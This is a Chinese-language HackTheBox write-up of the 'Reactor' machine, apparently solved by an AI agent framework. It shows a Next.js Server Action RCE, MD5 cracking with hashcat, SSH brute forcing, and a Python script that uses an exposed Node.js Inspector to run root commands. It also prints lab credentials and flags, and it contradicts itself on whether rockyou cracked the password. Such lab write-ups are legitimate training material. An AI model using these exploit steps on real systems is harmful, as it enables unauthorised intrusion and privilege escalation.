HackTheBox Machine Reactor
本次靶机采用AI进行,弄来玩玩,聊以慰藉。 靶机: Reactor (HTB) | 难度: Easy | 平台: Linux
工具链: Cairn — 基于黑板架构的 AI 多 Agent 渗透引擎
LLM: DeepSeek V4-Pro · Worker: Claude Code 连接到HTB采用AthenaOS提供的htb-toolkit
1. Executive Summary
Reactor 是一台看似简单但充满误导的 HTB 靶机。表面上有两个开放端口——SSH 和 Next.js Web 仪表盘。Web 应用初看是完全静态的 “decoy” 页面,目录爆破、源代码审计、VHost fuzzing 全部返回零结果。真正的入口点是 CVE-2025-66478 (React2Shell)——一个 CVSS 10.0 的 Next.js 15.0.3 Server Action 反序列化 RCE 漏洞。据守 After obtaining initial access as node, credential harvesting from a SQLite database yielded the engineer user’s MD5 hash, which cracked to reactor1. SSH lateral movement then revealed a Node.js Inspector Debugger listening as root on 127.0.0.1:9229, providing a direct path to SYSTEM/root.
本次渗透测试完全由 Cairn AI Agent 集群 自动驱动,通过事实图谱(Fact Graph)上的 OODA 循环自主完成——从侦察到漏洞识别到提权,全程无需人工干预(除了一次关键的方向纠正 Hint)。
Key Metrics:
- 总耗时: ~44 分钟(从 VPN 连接到双 Flag)
- AI Agent 执行的任务数: 19 个 Intents 被提出,13 个 Explore 被执行
- 发现的漏洞: CVE-2025-66478 (React2Shell)、Node.js Inspector 未授权 RCE
- SSH 爆破尝试: 1,856 次(零成功——方向错误的重要教训)
2. 侦察与枚举
2.1 端口扫描
naabu 全端口扫描在目标 10.129.177.191 上发现两个开放 TCP 端口:
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 (Ubuntu) |
| 3000/tcp | HTTP | Next.js “ReactorWatch | Core Monitoring System v3.2.1” |
常见 Web 端口(80、443、8080、8443)全部返回 Connection Refused。UDP 扫描(29 个常用端口)无活跃服务。
2.2 DNS / VHost 枚举
针对多种 TLD(.htb、.vl、.com、.local、.lab)的 DNS 子域枚举和 VHost fuzzing:
- dig/nslookup 对常见子域名(gitlab, wiki, admin, dev, api, jenkins 等)全部解析失败
- PTR 记录仅返回 IP 地址
- 目标未运行 DNS 服务(端口 53 拒绝连接)
- AXFR 区域传输失败
- ffuf VHost fuzzing(30+ Host header 变体)全部返回相同 HTTP 200,MD5 和 body 大小完全一致
结论: 无 DNS/VHost 攻击面。
2.3 Web 应用深度分析
目录爆破
gobuster dir -u http://10.129.177.191:3000 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \ -x js,json,php,html,txt -t 50唯一命中的 /cgi-bin/ 是 Next.js trailing-slash 处理的 308 重定向伪影,最终返回 404。手动测试了 50+ 常见路径(/login, /admin, /api, /graphql, /.env, /.git 等)——全部 404。
React Server Components (RSC) Payload 分析
ReactorWatch 是一个完全静态预渲染的 Next.js 单页仪表盘。关键特征:
Build ID: L3bimJe_3LvBcFWAnK5L4x-nextjs-prerender: 1ISR stale-time: maxedNext.js version: 15.0.3 (extracted from chunk-517.js)RSC payload 经 self.__next_f.push() 内联在 HTML 中,解码后仅包含仪表盘 UI 树——无隐藏路由、凭据或业务逻辑。所有 JavaScript chunk 均为 React/Next.js 框架标准库代码,不包含任何自定义应用逻辑。
网页误判
初始分析认定 ReactorWatch 是纯 decoy/静态前端,没有可利用的 Web 向量。这个结论部分是错误的——虽然 Web 应用本身确实没有传统的输入点(登录表单项、API 端点、文件上传),但忽视了 Next.js 框架层面(Server Actions、Flight Protocol)的漏洞可能。
3. 方向纠正:从 SSH 爆破到 Next.js CVE
3.1 死胡同
AI Agent 在 Web 分析完毕后的第一反应是转向 SSH 爆破:
- 构建了 15 个用户名 × 116 个密码的字典(含 reactor/nuclear 主题变体)
- Hydra 执行 1,856 次尝试 → 零成功
3.2 Hint 注入——人机协作的威力
在观察到 Agent 陷入 SSH 死循环后,通过 Cairn 的 Hint 机制 注入了一条方向纠正:
“SSH brute-force is WRONG. Focus on Next.js CVEs on port 3000: CVE-2025-66478 (Server Action auth bypass), CVE-2024-56332 (SSRF in image optimization), CVE-2024-51479 (middleware auth bypass).”
这个 Hint 在下一个 Reason 循环中被 Agent 吸收,立即扭转了探索方向。Hint 机制是 Cairn 架构中最优雅的设计之一——人类可以随时向共享黑板上注入判断,而不会被 Agent 的内部状态所困。
4. Foothold: CVE-2025-66478 (React2Shell)
4.1 漏洞分析
| 属性 | 值 |
|---|---|
| CVE | CVE-2025-66478 |
| 别名 | React2Shell |
| CVSS | 10.0 (Critical) |
| 影响版本 | Next.js 15.0.0 – 15.0.4 |
| 修复版本 | 15.0.5 |
| 靶机版本 | 15.0.3 (受影响) |
| 漏洞类型 | React Flight Protocol 反序列化 → 原型污染 → RCE |
Next.js 15.x 的 Server Actions 使用 React Flight Protocol(基于 multipart/form-data 的 RSC 流式传输)。该协议的 __proto__ 反序列化过程中存在原型污染,攻击者可以通过精心构造的多部分 POST 请求注入恶意对象属性,最终触发任意代码执行。
4.2 CVE 筛选过程
AI Agent 针对 Next.js 15.0.3 系统性评估了以下 CVE:
| CVE | 影响 | 靶机可利用否 |
|---|---|---|
| CVE-2025-66478 | Server Action RCE (CVSS 10.0) | ✅ 可利用 |
| CVE-2025-29927 | Middleware Bypass (CVSS 9.1) | ❌ 无 auth middleware 可绕过 |
| CVE-2024-51479 | Auth Bypass (CVSS 7.5) | ❌ 仅影响 < 14.2.15 |
| CVE-2024-56332 | SSRF via Image Optimization | ❌ url 验证器阻止了所有外部/文件协议 |
| CVE-2024-39698 | Cache Poisoning | ❌ 静态页面无缓存机制 |
4.3 Exploit
确认 Server Action 端点存活:
POST / HTTP/1.1Host: 10.129.177.191:3000Content-Type: multipart/form-dataNext-Action: <arbitrary-action-id>
...multipart body with prototype pollution payload...关键发现:
- Action ID 值任意 —— 空字符串、任意字符串、RSC payload hash 均可用
- 响应特征 —— HTTP 500 +
Content-Type: text/x-component,命令输出嵌入在1:E{"digest":"<output>"}Flight stream 中 - 获取的 shell ——
node用户 (uid=999, gid=988)
# 验证 exploit 成功id # uid=999(node) gid=988(node)hostname # reactoruname -a # Linux 6.8.0-117-generic x86_64pwd # /opt/reactor-appWeb decoy 不假,但框架漏洞让 decoy 本身成为了入口。这就是为什么 CVE 研究比目录爆破重要得多。
5. 凭据发现与横向移动
5.1 信息收集(node 用户)
作为 node 用户获得 shell 后,在 /opt/reactor-app/ 目录下发现:
.env 文件:
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0kDB_PATH=/opt/reactor-app/reactor.dbALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhookreactor.db (SQLite):
SELECT * FROM users;
| username | password_hash | role ||------------|--------------------------------------|---------------|| admin | a203b22191d744a4e70ada5c101b17b8 | administrator || engineer | 39d97110eafe2a9a68639812cd271e8e | operator |5.2 MD5 破解
两枚哈希均为未加盐的 MD5:
# engineer 的哈希成功破解echo '39d97110eafe2a9a68639812cd271e8e' > hash.txthashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt --force# 结果: reactor1
# admin 的哈希不在 rockyou 字典中reactor1——密码强度堪忧,但在 “Easy” 难度的 HTB 靶机中属于典型套路。
5.3 SSH 登录 & User Flag
SSH: engineer:reactor1@10.129.177.191User Flag: f2bfc6e4f376f532051205e437497ffbEngineer 用户组:
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),108(lxd)adm组可以读取/var/log/lxd组是著名的容器提权向量(但最终走了另一条路)
6. 权限提升:Node.js Inspector Debugger RCE
6.1 关键发现
在 node 用户的初始 shell 中,进程列表显示了一个更有意思的目标:
root 1337 /usr/bin/node /opt/uptime-monitor/worker.js进一步探测发现该进程开放了一个 Node.js Inspector Debugger 端口:
# 从 node shell 测试curl http://127.0.0.1:9229/json# [{"id":"...","title":"uptime-monitor","type":"node",...}]Inspector 进程以 root 运行,监听在 127.0.0.1:9229,无需认证。
6.2 利用
标准 Node.js Inspector 利用需要 WebSocket 连接,通过 Runtime.evaluate CDP (Chrome DevTools Protocol) 命令注入代码执行。在 ESM 环境中 require() 不可用,需要用 process.mainModule.require() 绕过:
# ESM-aware inspector exploitimport websocketimport json
ws = websocket.create_connection("ws://127.0.0.1:9229/ws/<session-id>")
# ESM bypass: 使用 process.mainModule.require 替代裸 requirecmd = "cat /root/root.txt"payload = { "id": 1, "method": "Runtime.evaluate", "params": { "expression": f""" process.mainModule.require('child_process') .execSync('{cmd}').toString() """, "awaitPromise": True, "returnByValue": True }}
ws.send(json.dumps(payload))result = ws.recv()# result -> "fd2b27553d387df938616182e69e2730"6.3 Root Flag
Root Flag: fd2b27553d387df938616182e69e2730这个提权路径绕过了常规的 LXD 容器逃逸、SUID 枚举或内核 exploit——它利用的是运维疏忽:在生产环境中将 Node.js Inspector Debugger 以 root 身份运行并暴露在 localhost 上。这在真实环境中也是常见的配置失误。
7. Attack Graph —— AI Agent 的决策树
Cairn 的 Fact-Intent 图完整记录了 AI Agent 的探索路径:
origin ──→ f001 (Port Scan: 22 + 3000) │ ├──→ i002 → f002 (DNS/VHost: 无发现) │ ├──→ i003 → f005 (Web目录爆破: 无发现) │ i004 → f004 (手动Web探索: 静态decoy) │ i005 → f003 (漏洞搜索: 无公开PoC) │ ├──→ i008 → f006 (JS Bundle分析: 无凭据) │ ├──→ i006 → f007,f009 (SSH爆破准备) │ i007 → f008 (UDP扫描: 无服务) │ i009 → f012 (Hydra 1,856次尝试: 零成功) │ │ ★ HUMAN HINT: "SSH is WRONG, focus on Next.js CVEs" ★ │ ├──→ i012 → f011 (Next.js 15.0.3 + CVE评估) │ ├──→ i013 → f014 ★ CVE-2025-66478 RCE as node ★ │ i014 → f015 (CVE-2024-56332 SSRF: blocked) │ i015 → f013 (CVE-2024-51479: not affected) │ ├──→ i016 → f018 (后利用枚举: node/engineer信息) │ i017 → f016 ★ 凭据发现 + user flag ★ │ i018 → f017 (横向移动调查) │ └──→ i019 → f019 ★ Node.js Inspector RCE as root ★14 条 Facts、19 个 Intents、13 次 Explore 执行——这个图的规模说明即使是 Easy 难度的靶机,AI Agent 也需要相当大的探索量才能走完整个攻击链。
8. 关键 Takeaways
8.1 技术层面
-
静态页面 ≠ 安全 —— ReactorWatch 的纯静态页面使目录爆破/参数注入等传统 Web 渗透技术完全失效,但 Next.js 框架层面(Server Actions + Flight Protocol)仍然存在可利用的 RCE。
-
Next.js 15.0.x 的 Server Actions 是一个被低估的攻击面 —— CVE-2025-66478 只需要
Next-Actionheader 就能触发,不需要有效的 action ID,不需要认证,不需要任何应用层交互。 -
Node.js Inspector Debugger 是常见的运维失误 ——
--inspect在默认配置下绑定127.0.0.1:9229且无需认证。在容器/本地环境下,这等同于 root shell。 -
MD5 哈希仍然普遍存在 ——
reactor.db中的密码用未加盐的 MD5 存储,且reactor1这种弱口令直接暴露了通过 rockyou.txt 无法破解的局限。
8.2 AI 渗透测试层面
-
Hint 机制是 Cairn 的核心价值 —— 没有那条 “SSH is WRONG” 的提示,AI Agent 可能会在 SSH 爆破上浪费数个小时。Hint 不取代 Agent,但给 Agent 一个快速的方向纠正。这比 “human-in-the-loop” 的响应式干预更高效。
-
AI Agent 容易陷入 “已知路径偏执” —— 一旦所有侦察指向 “SSH 是唯一的攻击面”,Agent 会反复回到 SSH 向量上,即使之前的所有尝试都失败了。需要外部视角来打破这个循环。
-
并行探索 vs 序列探索 —— Cairn 的并行 Explore 机制在 CVE 评估阶段表现良好(3 个 CVE 同时测试),但在早期侦察阶段,4 个 Web 分析 Intent 产生了大量重复输出(f003/f004/f005/f006 都在重复同一个结论)。
-
每个 Explore 阶段的 240s 超时对准确率有影响 —— 多次出现 explore timeout → conclude fallback 的流程,意味着 LLM 在 4 分钟内没有完成完整执行。对于需要长时间运行的 Web 扫描、爆破任务,超时设置可能需要动态调整。
9. Flags
| Flag | 值 | 获取方式 |
|---|---|---|
| User | f2bfc6e4f376f532051205e437497ffb | CVE-2025-66478 RCE → 凭据发现 → MD5 破解 → SSH engineer |
| Root | fd2b27553d387df938616182e69e2730 | Node.js Inspector Debugger → CDP Runtime.evaluate → root RCE |
10. 关于 Cairn
Cairn 是一个基于黑板架构 (Blackboard Architecture) 的通用问题求解引擎。它不定义预制的 Agent 角色或工作流,只维护一个由 Facts(已证实的客观发现)和 Intents(声明的探索方向)组成的事实图谱。Agents 通过 OODA (Observe-Orient-Decide-Act) 循环从这个共享图谱中读取任务、执行探索、写回发现。Agent 之间没有直接通信——所有协调通过共享黑板实现(Stigmergy/群体智慧)。
本次渗透测试展示了 Cairn 在真实 CTF 环境中的表现:
- 自主发现漏洞(CVE-2025-66478)
- 完整的攻击链构造(从信息收集到凭据发现到提权)
- 人机协作的优势(Hint 机制快速纠正方向)
- 现存的局限(容易陷入局部最优解、任务超时影响效率)
Cairn 开源地址: github.com/oritera/cairn
Writeup compiled from Cairn Fact Graph (project proj_005) — all findings verified against target Reactor at 10.129.177.191.